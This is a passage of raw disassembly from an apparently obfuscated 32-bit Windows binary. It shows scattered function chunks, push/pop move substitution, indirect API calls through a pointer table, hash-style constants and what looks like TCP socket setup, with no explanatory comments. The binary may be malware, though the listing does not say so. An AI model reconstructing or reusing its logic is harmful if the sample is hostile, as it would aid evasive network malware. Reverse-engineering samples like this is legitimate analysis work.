; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B586C:				; CODE XREF: sub_9B1F68+28EDj
		lea	ebx, [edi+ebp-24Ch]
		mov	esi, [ebx]
		push	0
		push	esi
		push	30h
		pop	eax
		call	sub_9AC32C
		mov	[ebp-58h], eax
		test	al, 21h
		jz	loc_9B4254
		jmp	off_9B87F6
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B5894:				; CODE XREF: sub_9AB1A0+9965j
					; sub_9AB1A0+AAD1j
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx]
		pop	edx
		push	eax
		push	off_9B9F99
		call	dword ptr [edx+34h]
		push	dword_9BEBD0
		pop	eax
		imul	eax, 3B6h
		cdq
		and	edx, 7FFh
		add	eax, edx
		push	eax
		pop	ecx
		push	3E8h
		pop	eax
		sar	ecx, 0Bh
		sub	eax, ecx
		mov	[ebp-30h], eax


loc_9B58CD:				; CODE XREF: sub_9AB1A0+1BBCj
					; sub_9AB1A0+38AFj
		mov	eax, [ebp+0Ch]
		push	eax
		pop	edx
		dec	eax
		test	edx, edx
		mov	[ebp+0Ch], eax
		jz	loc_9B11EB
		jmp	off_9B92AA
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B58E4:				; CODE XREF: sub_9B1F68+6E7j
		push	0
		push	esi
		call	sub_9B0E7C
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	eax
		push	esi
		call	dword ptr [eax+38h]


loc_9B58FB:				; CODE XREF: sub_9B1F68+6E1j
		inc	edi
		jmp	loc_9AE84E
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B5904	proc near		; CODE XREF: sub_9AEAAC+19F5j
					; DATA XREF: .text:off_9B9EE9o

; FUNCTION CHUNK AT 009AB198 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009AC524 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 009ACF8C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009AF6B8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009AFF18 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B129C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009B25BC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B3EE8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B42F0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B4388 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009B47E8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009B4AA4 SIZE 00000018 BYTES

		push	ebx
		call	sub_9B3EFC
		add	esp, 4
		test	eax, eax
		jz	loc_9B42FE
		jmp	loc_9ACF8C
sub_9B5904	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABD30


loc_9B591C:				; CODE XREF: sub_9ABD30+21D6j
					; sub_9ABD30+A061j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_9ABD30
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC448


loc_9B5928:				; CODE XREF: sub_9AC448+8j
					; DATA XREF: .text:off_9BABE7o
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	eax
		call	dword ptr [edx+80h]
; END OF FUNCTION CHUNK	FOR sub_9AC448
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B593C:				; CODE XREF: sub_9B63D8-5026j
		or	ebx, ebx
		jz	loc_9AF944
		jmp	off_9BAD10
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC250


loc_9B594C:				; CODE XREF: sub_9AC250+4D1Dj
					; DATA XREF: .text:off_9BAD48o
		mov	ebx, [esi+0Ch]
		mov	edx, ebx
		shr	edx, 5
		push	edx
		pop	ecx
		mov	ebp, 1
		and	ecx, 1Fh
		shl	ebp, cl
		shr	edx, 5
		test	dword_9BA4E8[edx*4], ebp
		jnz	loc_9B536C
		jmp	off_9BAAD4
; END OF FUNCTION CHUNK	FOR sub_9AC250
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9B5978:				; CODE XREF: sub_9ACEE8-3E0j
		xor	ebx, ebx
		mov	[ebp-0B4h], ebx
		call	sub_9B227C
		mov	[ebp-0B8h], eax
		mov	edi, [ebp-0D4h]
		test	edi, edi
		jz	loc_9B0FA3
		jmp	loc_9B33AC
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B59A0:				; CODE XREF: sub_9B1A08-380Cj
		call	sub_9AC448
		mov	dword ptr [ebx], 0


loc_9B59AB:				; CODE XREF: sub_9B1A08-4160j
					; sub_9B1A08-3812j
		inc	esi
		jmp	loc_9AD78A
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2010


loc_9B59B4:				; CODE XREF: sub_9B2010-38FDj
					; DATA XREF: .text:off_9B8956o
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	1388h
		call	dword ptr [ecx+4]
		jmp	loc_9B012F
; END OF FUNCTION CHUNK	FOR sub_9B2010
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2160


loc_9B59CC:				; CODE XREF: sub_9B2160-2E0Dj
		sub	eax, eax
		push	ebx
		pop	ecx
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		push	edx
		pop	ecx
		and	ecx, 3
		rep stosb


loc_9B59DE:				; CODE XREF: sub_9B2160-2E13j
		push	dword ptr [esi+48h]
		pop	edi
		test	edi, edi
		jz	loc_9B165A
		jmp	off_9BA170
; END OF FUNCTION CHUNK	FOR sub_9B2160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B59F0:				; CODE XREF: sub_9B1A08-4576j
					; DATA XREF: .text:off_9B97E1o
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		call	dword ptr [ecx+30h]
		sub	eax, [ebp+var_4204]
		cmp	eax, 2710h
		jbe	loc_9AF398
		jmp	loc_9AD788
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AE860


loc_9B5A10:				; CODE XREF: sub_9AE860+F05j
					; DATA XREF: .text:off_9BA9FDo
		mov	ecx, off_9BA1D0[edx*4]
		mov	esi, ecx


loc_9B5A19:				; CODE XREF: sub_9AE860+71BEj
		mov	dl, [ecx]
		inc	ecx
		or	dl, dl
		jnz	short loc_9B5A19
		jmp	off_9BADA8
; END OF FUNCTION CHUNK	FOR sub_9AE860
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-1Ch]
		pop	esi
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	eax, esi
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC170


loc_9B5A4C:				; CODE XREF: sub_9AC170+Bj
					; DATA XREF: .text:off_9B8C2Eo
		mov	esi, off_9B94FC
		mov	ecx, 0Ch
		rep movsd
		movsw
		movsb
; END OF FUNCTION CHUNK	FOR sub_9AC170
; START	OF FUNCTION CHUNK FOR sub_9B6078


loc_9B5A5C:				; CODE XREF: sub_9B6078+3Bj
		cmp	edx, 3
		jnz	loc_9AB94D
		jmp	off_9B96E0
; END OF FUNCTION CHUNK	FOR sub_9B6078
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEE5C


loc_9B5A6C:				; CODE XREF: sub_9AEE5C+1965j
					; DATA XREF: .text:off_9B8FC8o
		push	dword ptr [edx+ecx+4]
		pop	eax


loc_9B5A71:				; CODE XREF: sub_9AEE5C-E61j
					; sub_9AEE5C+195Fj
		pop	esi
; END OF FUNCTION CHUNK	FOR sub_9AEE5C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B5A74:				; CODE XREF: sub_9B63D8-8CE1j
		mov	edx, dword_9BCB74
		mov	eax, [edx+10h]
		push	6
		push	1
		push	2
		call	dword ptr [eax+20h]
		push	eax
		pop	esi
		mov	[ebp-2138h], esi
		test	esi, esi
		jz	loc_9AF944
		jmp	loc_9B54C0
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABC20


loc_9B5A9C:				; CODE XREF: sub_9ABC20+25j
					; DATA XREF: .text:off_9B8FB3o
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	esi, ecx
		push	[ebp+arg_4]
		pop	ebx
		mov	[ebp+var_4], 0
		push	ebx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, dword_9BBD28
		push	ecx
		call	sub_9AE860
		add	esp, 0Ch
		test	esi, esi
		jz	loc_9ADBF9
		jmp	sub_9B4BF8
; END OF FUNCTION CHUNK	FOR sub_9ABC20
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B5AD3:				; CODE XREF: sub_9B1F68-3715j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	0
		call	dword ptr [edx+60h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp-1Ch]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B5B08:				; CODE XREF: sub_9B0930-D0Ej
					; DATA XREF: .text:off_9BAF3Co
		pop	eax
		push	dword ptr [eax+4]
		pop	edx
		mov	ecx, [edx+4]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AB374
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B5B20:				; CODE XREF: sub_9B63D8-8533j
		push	dword ptr [ebp-2130h]
		pop	eax
		jmp	loc_9ACBAF
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B5B2C:				; CODE XREF: sub_9AB1A0+2B2Fj
					; sub_9AB1A0+46C4j ...
		lea	ecx, [edi+edi*2]
		shl	ecx, 2
		push	dword_9BCBB4[ecx]
		pop	eax
		inc	eax
		mov	dword_9BCBB4[ecx], eax
		mov	edx, dword_9BCBBC[ecx]
		mov	[ebp-38h], edx
		push	dword_9BCBB8[ecx]
		pop	ecx
		xor	eax, ecx
		imul	eax, 55E206F1h
		xor	eax, edx
		imul	eax, 0ADEFED73h
		xor	eax, ecx
		imul	eax, 0E4B24259h
		xor	eax, edx
		mov	esi, eax
		mov	[ebp-3Ch], ecx
		mov	[ebp-1Ch], esi
		push	esi
		call	sub_9AFCA0
		add	esp, 4
		test	eax, eax
		jz	short loc_9B5B2C
		jmp	off_9B890C
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B5B88:				; CODE XREF: sub_9AB1A0+996Bj
		dec	eax
		jmp	loc_9B5C6C
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B5B90:				; CODE XREF: sub_9AB1A0+35C7j
		push	esi
		call	sub_9AFCA0
		add	esp, 4
		or	eax, eax
		jnz	loc_9AEA4D
		jmp	off_9BA08F
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B5BA8:				; CODE XREF: sub_9B63D8-AE6Cj
					; DATA XREF: .text:off_9BA364o
		mov	dword ptr [ebp-215Ch], 103h
		mov	edx, dword_9BCB74
		push	dword ptr [edx+4]
		pop	eax
		lea	ecx, [ebp-215Ch]
		push	ecx
		lea	edx, [ebp-120h]
		push	edx
		push	0
		call	dword ptr [eax+4]
		test	eax, eax
		jnz	loc_9B4EC8
		jmp	loc_9AD014
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AD01C


loc_9B5BE3:				; CODE XREF: sub_9AD01C+62j
		mov	[ebp+var_4], 0FFFFFFFFh
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9AD01C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B5BFC:				; CODE XREF: sub_9B4950-3BE0j
					; DATA XREF: .text:off_9B9F17o
		mov	dword_9BEC24[edi], ebx
		lea	ecx, dword_9BEC34[edi]
		call	sub_9B31A8
		lea	ecx, dword_9BEC38[edi]
		call	sub_9B31A8
		lea	ecx, dword_9BEC3C[edi]
		call	sub_9B31A8
		lea	ecx, dword_9BEC40[edi]
		call	sub_9B31A8


loc_9B5C2E:				; CODE XREF: sub_9B4950-5A10j
					; sub_9B4950-3BE6j ...
		inc	esi
		jmp	loc_9B36AE
; ---------------------------------------------------------------------------


loc_9B5C34:				; CODE XREF: sub_9B4950-98D6j
		cmp	dword_9BEC24[esi], ebx
		jz	loc_9AFE40
		jmp	off_9B9978
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B5C48:				; CODE XREF: sub_9AB1A0+40j
		push	off_9B9632
		call	dword ptr [edx+18h]
		mov	dword ptr [ebp-4], 1
		mov	ebx, [ebp+10h]
		mov	dword ptr [ebx], 0
		call	sub_9AF698
		push	800h
		pop	eax


loc_9B5C6C:				; CODE XREF: sub_9AB1A0+A9E9j
		mov	[ebp-2Ch], eax
		test	eax, eax
		jle	loc_9B5894
		jmp	off_9B99DC
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ACF9C


loc_9B5C80:				; CODE XREF: sub_9ACF9C+1FECj
		call	sub_9B2160
		push	eax
		pop	ebx
		mov	[ebp-1Ch], ebx
		test	ebx, ebx
		jz	loc_9ADA23
		jmp	loc_9AFCBC
; END OF FUNCTION CHUNK	FOR sub_9ACF9C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B6264


loc_9B5C98:				; CODE XREF: sub_9B6264-2C5j
		lea	eax, [ebp-99Ch]
		push	eax
		push	0AF286BCBh
		pop	eax
		mov	ecx, [ebp-9A4h]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 6
		push	ecx
		call	sub_9AEAAC
		mov	dword ptr [ebp-9A0h], 1


loc_9B5CC6:				; CODE XREF: sub_9B6264-2CBj
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+10h]
		pop	edx
		push	esi
		call	dword ptr [edx+38h]
		jmp	loc_9AE18F
; END OF FUNCTION CHUNK	FOR sub_9B6264
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B5CDC	proc near		; CODE XREF: sub_9B037C-49CAp
					; sub_9B1F68-591Ep ...

arg_0		= dword	ptr  4

		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	[esp+arg_0]
		pop	eax
		push	edx
		push	dword ptr [eax+8]
		pop	edx
		push	edx
		call	dword ptr [ecx+28h]
		neg	eax
		sbb	eax, eax
		inc	eax
		retn	4
sub_9B5CDC	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABA3C


loc_9B5CFC:				; CODE XREF: sub_9ABA3C+33CCj
					; DATA XREF: .text:off_9BABA8o
		sub	eax, edx
		mov	[esi+eax-1], bl


loc_9B5D02:				; CODE XREF: sub_9ABA3C+56j
					; sub_9ABA3C+4C9Fj
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		lea	ecx, [ebp-120h]
		push	ecx
		push	ebx
		push	off_9BA865
		push	esi
		call	dword ptr [eax+3Ch]
		jmp	loc_9B50EC
; END OF FUNCTION CHUNK	FOR sub_9ABA3C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0FD0


loc_9B5D24:				; CODE XREF: sub_9B0FD0+C85j
					; DATA XREF: .text:off_9BAF5Fo
		push	eax
		pop	ecx
		mov	[ebp-1Ch], ecx


loc_9B5D29:				; CODE XREF: sub_9B0FD0+50j
		mov	edx, dword_9BCB74
		push	dword ptr [edx+14h]
		pop	eax
		shl	ecx, 2
		push	ecx
		push	off_9B985C
		push	offset dword_9BCBD0
		call	dword ptr [eax+8]
		add	esp, 0Ch
		mov	dword_9BCBCC, esi
		call	sub_9B227C
		mov	dword_9BEBD4, eax
		call	sub_9AF698
		jmp	loc_9B27EF
; END OF FUNCTION CHUNK	FOR sub_9B0FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B46CC


loc_9B5D64:				; CODE XREF: sub_9B46CC-7D99j
					; DATA XREF: .text:off_9BA388o
		push	49614D80h
		pop	eax
		jmp	loc_9B2C05
; END OF FUNCTION CHUNK	FOR sub_9B46CC
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B5D70:				; CODE XREF: sub_9B04A8+A20j
					; DATA XREF: .text:off_9B8D89o
		inc	dword ptr [ebp-4040h]
		jmp	loc_9B5196
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B5D7C:				; CODE XREF: sub_9B3864-5E63j
					; DATA XREF: .text:off_9B96C8o
		movzx	edx, word ptr [esi+2]
		jmp	loc_9B36CA
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABD30


loc_9B5D88:				; CODE XREF: sub_9ABD30+21DCj
					; DATA XREF: .text:off_9B9797o
		mov	edx, [esp+0Ch+arg_4]
		add	edx, 0FFFFFFFEh
		cmp	eax, edx
		jg	loc_9B591C
		jmp	off_9BAA0D
; END OF FUNCTION CHUNK	FOR sub_9ABD30
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B174C


loc_9B5DA0:				; CODE XREF: sub_9B174C+285Aj
					; DATA XREF: .text:off_9B987Ao
		push	ecx
		pop	eax
		jmp	loc_9B54EA
; END OF FUNCTION CHUNK	FOR sub_9B174C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFB1C


loc_9B5DA8:				; CODE XREF: sub_9AFB1C-131Dj
		push	dword ptr [edi+0Ah]
		pop	eax
		mov	[esi+4], eax
		mov	dword ptr [ebp-1Ch], 0Eh
		push	dword_9BCB74
		pop	ecx
		xor	eax, eax
		push	dword ptr [ecx+10h]
		pop	edx
		mov	ax, [edi+0Eh]
		push	eax
		call	dword ptr [edx+8]
		jmp	off_9B9575
; END OF FUNCTION CHUNK	FOR sub_9AFB1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACA48


loc_9B5DD4:				; CODE XREF: sub_9ACA48+466Bj
					; DATA XREF: .text:off_9B9F13o
		mov	[ebp-4024h], di
		neg	ebx
		sbb	ebx, ebx
		add	ebx, 5
		push	ebx
		push	2002h
		lea	eax, [edi+2]
		mov	edi, esi
		lea	ecx, [ebp-4024h]
		call	sub_9B5300
		mov	[ebp-4054h], eax
		cmp	eax, 4
		jnz	short loc_9B5E0C
		jmp	off_9B97C5
; END OF FUNCTION CHUNK	FOR sub_9ACA48
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACA48


loc_9B5E0C:				; CODE XREF: sub_9ACA48+A3j
					; sub_9ACA48+11F0j ...
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	eax
		push	esi
		call	dword ptr [eax+38h]
		jmp	loc_9B26DF
; END OF FUNCTION CHUNK	FOR sub_9ACA48
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9B5E20:				; CODE XREF: sub_9AC32C+9E8Cj
		jnz	loc_9B5034
		jmp	loc_9B3DA4
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC128


loc_9B5E2C:				; CODE XREF: sub_9AC128+3986j
		push	dword_9BCB74
		pop	edx
		lea	ecx, [esp+4+var_4]
		push	ecx
		push	edi
		mov	[esp+0Ch+var_4], 10h
		push	dword ptr [edx+10h]
		pop	eax
		push	esi
		call	dword ptr [eax+0Ch]


loc_9B5E48:				; CODE XREF: sub_9AC128+3980j
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_9AC128
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B5E4C:				; CODE XREF: sub_9B63D8-69E9j
		cmp	cl, 39h
		jg	loc_9AF944
		jmp	off_9BA615
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B5E5C:				; CODE XREF: sub_9ADAC4+189Cj
					; sub_9ADAC4+8872j
					; DATA XREF: ...
		push	edi
		xor	edx, edx
		call	sub_9B5CDC
		test	eax, eax
		jz	loc_9B4CB0
		jmp	loc_9B4EB8
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B037C


loc_9B5E74:				; CODE XREF: sub_9B037C-49C3j
		push	2000h
		lea	ecx, [ebp-401Ch]
		push	ecx
		mov	eax, 6
		lea	ecx, [ebp-403Ch]
		lea	ebx, [ebp-4054h]
		call	sub_9B0734
		mov	[ebp-4048h], eax
		test	al, 1
		jz	loc_9B2B08
		jmp	loc_9AD10C
; END OF FUNCTION CHUNK	FOR sub_9B037C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B5EAC:				; CODE XREF: sub_9B0930-5329j
					; DATA XREF: .text:off_9BA5E8o
		push	off_9BA7FE
		mov	ecx, [eax]
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx+0Ch]
		pop	ecx
		mov	[ecx+0Ch], eax
		mov	edx, dword_9BCB74
		push	dword ptr [edx+0Ch]
		pop	eax
		push	dword ptr [eax+0Ch]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B9897
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B5EE0:				; CODE XREF: sub_9B1F68-1D80j
		sub	edx, edx


loc_9B5EE2:				; CODE XREF: sub_9B1F68-AE7j
		mov	[ebp-34h], edx


loc_9B5EE5:				; CODE XREF: sub_9B1F68+2107j
		cmp	edx, ebx
		jnb	loc_9ACD83
		jmp	loc_9ADDEC
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AEAAC


loc_9B5EF7:				; CODE XREF: sub_9AEAAC-216j
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	ecx
		push	off_9BAD92
		call	dword ptr [ecx+1Ch]
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9AEAAC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3150


loc_9B5F24:				; CODE XREF: sub_9B3150-307Aj
		push	dword ptr [ebx]
		pop	ecx
		mov	edx, ecx
		shr	ecx, 2
		push	dword ptr [ebx+48h]
		pop	edi
		rep stosd
		push	edx
		pop	ecx
		and	ecx, 3
		jmp	off_9BA093
; END OF FUNCTION CHUNK	FOR sub_9B3150
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B6504


loc_9B5F40:				; CODE XREF: sub_9B6504-4512j
		call	sub_9A514A
		or	eax, eax
		jz	loc_9B1C93
		jmp	off_9B9781
; END OF FUNCTION CHUNK	FOR sub_9B6504
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B5F54:				; CODE XREF: sub_9AB1A0+216Bj
					; sub_9AB1A0+539Dj ...
		mov	eax, [ebp+0Ch]
		push	eax
		pop	edx
		dec	eax
		and	edx, edx
		mov	[ebp+0Ch], eax
		jz	loc_9AFE6F
		jmp	off_9B9E87
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B6264


loc_9B5F6C:				; CODE XREF: sub_9B6264+68j
					; DATA XREF: .text:off_9B9F07o
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	eax
		push	edi
		push	edi
		lea	ecx, [ebp-9A4h]
		push	ecx
		push	980h
		lea	edx, [ebp-99Ch]
		push	edx
		push	edi
		push	edi
		push	4004747Fh
		push	esi
		call	dword ptr [eax+4]
		or	eax, eax
		jnz	loc_9B5CC6
		jmp	loc_9B5C98
; END OF FUNCTION CHUNK	FOR sub_9B6264
; ---------------------------------------------------------------------------
		xor	eax, edx
		imul	eax, 55E206F1h
		xor	eax, ecx
		imul	eax, 0ADEFED73h
		xor	eax, edx
		imul	eax, 0E4B24259h
		xor	eax, ecx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B5FC0	proc near		; CODE XREF: sub_9B14CC+2805p

var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= byte ptr -120h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AEB27 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 009B00DC SIZE 0000004E BYTES
; FUNCTION CHUNK AT 009B20C8 SIZE 0000004F BYTES
; FUNCTION CHUNK AT 009B2CFC SIZE 00000031 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B8CB1
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 11Ch
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		xor	esi, esi


loc_9B6000:				; CODE XREF: sub_9B5FC0-3298j
		mov	[ebp+var_12C], esi
		cmp	esi, 2
		jge	loc_9AEB27
		jmp	off_9B9018
sub_9B5FC0	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9B6018:				; CODE XREF: sub_9AF25C-3645j
					; DATA XREF: .text:off_9BAB88o
		mov	edi, dword_9BCB98
		mov	[ebp-34h], edi
		call	sub_9B227C
		add	eax, edi
		cmp	eax, ebx
		jnb	loc_9AB8D1
		jmp	off_9B89D3
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADE44


loc_9B6038:				; CODE XREF: sub_9ADE44+4Bj
		pop	ebx
; END OF FUNCTION CHUNK	FOR sub_9ADE44
; START	OF FUNCTION CHUNK FOR sub_9B2C30


loc_9B6039:				; CODE XREF: sub_9B2C30+8j
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_9B2C30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9B603C:				; CODE XREF: sub_9AF25C+5467j
